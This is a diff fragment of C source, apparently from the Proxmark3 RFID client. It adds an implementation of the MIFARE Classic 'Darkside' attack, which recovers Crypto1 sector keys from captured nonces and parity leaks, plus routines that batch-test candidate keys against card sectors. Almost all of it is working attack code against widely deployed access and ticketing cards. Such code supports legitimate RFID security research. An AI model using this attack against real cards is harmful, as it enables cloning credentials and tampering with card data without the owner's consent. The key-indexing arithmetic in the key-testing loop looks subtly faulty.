+\r
+// create the intersection (common members) of two sorted lists. Lists are terminated by -1. Result will be in list1. Number of elements is returned.\r
+static uint32_t intersection(uint64_t *list1, uint64_t *list2)\r
+{\r
+ if (list1 == NULL || list2 == NULL) {\r
+ return 0;\r
+ }\r
+ uint64_t *p1, *p2, *p3;\r
+ p1 = p3 = list1;\r
+ p2 = list2;\r
+\r
+ while ( *p1 != -1 && *p2 != -1 ) {\r
+ if (compare_uint64(p1, p2) == 0) {\r
+ *p3++ = *p1++;\r
+ p2++;\r
+ }\r
+ else {\r
+ while (compare_uint64(p1, p2) < 0) ++p1;\r
+ while (compare_uint64(p1, p2) > 0) ++p2;\r
+ }\r
+ }\r
+ *p3 = -1;\r
+ return p3 - list1;\r
+}\r
+\r
+\r
+// Darkside attack (hf mf mifare)\r
+static uint32_t nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t **keys) {\r
+ struct Crypto1State *states;\r
+ uint32_t i, pos, rr; //nr_diff;\r
+ uint8_t bt, ks3x[8], par[8][8];\r
+ uint64_t key_recovered;\r
+ static uint64_t *keylist;\r
+ rr = 0;\r
+\r
+ // Reset the last three significant bits of the reader nonce\r
+ nr &= 0xffffff1f;\r
+\r
+ for (pos=0; pos<8; pos++) {\r
+ ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;\r
+ bt = (par_info >> (pos*8)) & 0xff;\r
+ for (i=0; i<8; i++) {\r
+ par[7-pos][i] = (bt >> i) & 0x01;\r
+ }\r
+ }\r
+\r
+ states = lfsr_common_prefix(nr, rr, ks3x, par, (par_info == 0));\r
+\r
+ if (states == NULL) {\r
+ *keys = NULL;\r
+ return 0;\r
+ }\r
+\r
+ keylist = (uint64_t*)states;\r
+\r
+ for (i = 0; keylist[i]; i++) {\r
+ lfsr_rollback_word(states+i, uid^nt, 0);\r
+ crypto1_get_lfsr(states+i, &key_recovered);\r
+ keylist[i] = key_recovered;\r
+ }\r
+ keylist[i] = -1;\r
+\r
+ *keys = keylist;\r
+ return i;\r
+}\r
+\r
+\r
+int mfDarkside(uint64_t *key)\r
+{\r
+ uint32_t uid = 0;\r
+ uint32_t nt = 0, nr = 0;\r
+ uint64_t par_list = 0, ks_list = 0;\r
+ uint64_t *keylist = NULL, *last_keylist = NULL;\r
+ uint32_t keycount = 0;\r
+ int16_t isOK = 0;\r
+\r
+ UsbCommand c = {CMD_READER_MIFARE, {true, 0, 0}};\r
+\r
+ // message\r
+ printf("-------------------------------------------------------------------------\n");\r
+ printf("Executing command. Expected execution time: 25sec on average\n");\r
+ printf("Press button on the proxmark3 device to abort both proxmark3 and client.\n");\r
+ printf("-------------------------------------------------------------------------\n");\r
+\r
+\r
+ while (true) {\r
+ clearCommandBuffer();\r
+ SendCommand(&c);\r
+\r
+ //flush queue\r
+ while (ukbhit()) {\r
+ int c = getchar(); (void) c;\r
+ }\r
+\r
+ // wait cycle\r
+ while (true) {\r
+ printf(".");\r
+ fflush(stdout);\r
+ if (ukbhit()) {\r
+ return -5;\r
+ break;\r
+ }\r
+\r
+ UsbCommand resp;\r
+ if (WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {\r
+ isOK = resp.arg[0];\r
+ if (isOK < 0) {\r
+ return isOK;\r
+ }\r
+ uid = (uint32_t)bytes_to_num(resp.d.asBytes + 0, 4);\r
+ nt = (uint32_t)bytes_to_num(resp.d.asBytes + 4, 4);\r
+ par_list = bytes_to_num(resp.d.asBytes + 8, 8);\r
+ ks_list = bytes_to_num(resp.d.asBytes + 16, 8);\r
+ nr = bytes_to_num(resp.d.asBytes + 24, 4);\r
+ break;\r
+ }\r
+ }\r
+\r
+ if (par_list == 0 && c.arg[0] == true) {\r
+ PrintAndLog("Parity is all zero. Most likely this card sends NACK on every failed authentication.");\r
+ PrintAndLog("Attack will take a few seconds longer because we need two consecutive successful runs.");\r
+ }\r
+ c.arg[0] = false;\r
+\r
+ keycount = nonce2key(uid, nt, nr, par_list, ks_list, &keylist);\r
+\r
+ if (keycount == 0) {\r
+ PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt);\r
+ PrintAndLog("This is expected to happen in 25%% of all cases. Trying again with a different reader nonce...");\r
+ continue;\r
+ }\r
+\r
+ if (par_list == 0) {\r
+ qsort(keylist, keycount, sizeof(*keylist), compare_uint64);\r
+ keycount = intersection(last_keylist, keylist);\r
+ if (keycount == 0) {\r
+ free(last_keylist);\r
+ last_keylist = keylist;\r
+ continue;\r
+ }\r
+ }\r
+\r
+ if (keycount > 1) {\r
+ PrintAndLog("Found %u possible keys. Trying to authenticate with each of them ...\n", keycount);\r
+ } else {\r
+ PrintAndLog("Found a possible key. Trying to authenticate...\n");\r
+ }\r
+\r
+ *key = -1;\r
+ uint8_t keyBlock[USB_CMD_DATA_SIZE];\r
+ int max_keys = USB_CMD_DATA_SIZE/6;\r
+ for (int i = 0; i < keycount; i += max_keys) {\r
+ int size = keycount - i > max_keys ? max_keys : keycount - i;\r
+ for (int j = 0; j < size; j++) {\r
+ if (par_list == 0) {\r
+ num_to_bytes(last_keylist[i*max_keys + j], 6, keyBlock+(j*6));\r
+ } else {\r
+ num_to_bytes(keylist[i*max_keys + j], 6, keyBlock+(j*6));\r
+ }\r
+ }\r
+ if (!mfCheckKeys(0, 0, false, size, keyBlock, key)) {\r
+ break;\r
+ }\r
+ }\r
+\r
+ if (*key != -1) {\r
+ free(last_keylist);\r
+ free(keylist);\r
+ break;\r
+ } else {\r
+ PrintAndLog("Authentication failed. Trying again...");\r
+ free(last_keylist);\r
+ last_keylist = keylist;\r
+ }\r
+ }\r
+\r
+ return 0;\r
+}\r
+\r
+\r
+int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key){\r
+\r
+ *key = -1;\r
+\r
+ UsbCommand c = {CMD_MIFARE_CHKKEYS, {((blockNo & 0xff) | ((keyType & 0xff) << 8)), clear_trace, keycnt}}; \r
+ memcpy(c.d.asBytes, keyBlock, 6 * keycnt);\r
+ SendCommand(&c);\r
+\r
+ UsbCommand resp;\r
+ if (!WaitForResponseTimeout(CMD_ACK,&resp,3000)) return 1; \r
+ if ((resp.arg[0] & 0xff) != 0x01) return 2;\r
+ *key = bytes_to_num(resp.d.asBytes, 6);\r
+ return 0;\r
+}\r
+\r
+int mfCheckKeysSec(uint8_t sectorCnt, uint8_t keyType, uint8_t timeout14a, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, sector_t * e_sector){\r
+\r
+ uint8_t keyPtr = 0;\r
+\r
+ if (e_sector == NULL)\r
+ return -1;\r
+\r
+ UsbCommand c = {CMD_MIFARE_CHKKEYS, {((sectorCnt & 0xff) | ((keyType & 0xff) << 8)), (clear_trace | 0x02)|((timeout14a & 0xff) << 8), keycnt}}; \r
+ memcpy(c.d.asBytes, keyBlock, 6 * keycnt);\r
+ SendCommand(&c);\r
+\r
+ UsbCommand resp;\r
+ if (!WaitForResponseTimeoutW(CMD_ACK, &resp, MAX(3000, 1000 + 13 * sectorCnt * keycnt * (keyType == 2 ? 2 : 1)), false)) return 1; // timeout: 13 ms / fail auth\r
+ if ((resp.arg[0] & 0xff) != 0x01) return 2;\r
+ \r
+ bool foundAKey = false;\r
+ for(int sec = 0; sec < sectorCnt; sec++){\r
+ for(int keyAB = 0; keyAB < 2; keyAB++){\r
+ keyPtr = *(resp.d.asBytes + keyAB * 40 + sec);\r
+ if (keyPtr){\r
+ e_sector[sec].foundKey[keyAB] = true;\r
+ e_sector[sec].Key[keyAB] = bytes_to_num(keyBlock + (keyPtr - 1) * 6, 6);\r
+ foundAKey = true;\r
+ }\r
+ }\r
+ }\r
+ return foundAKey ? 0 : 3;\r
+}\r
+\r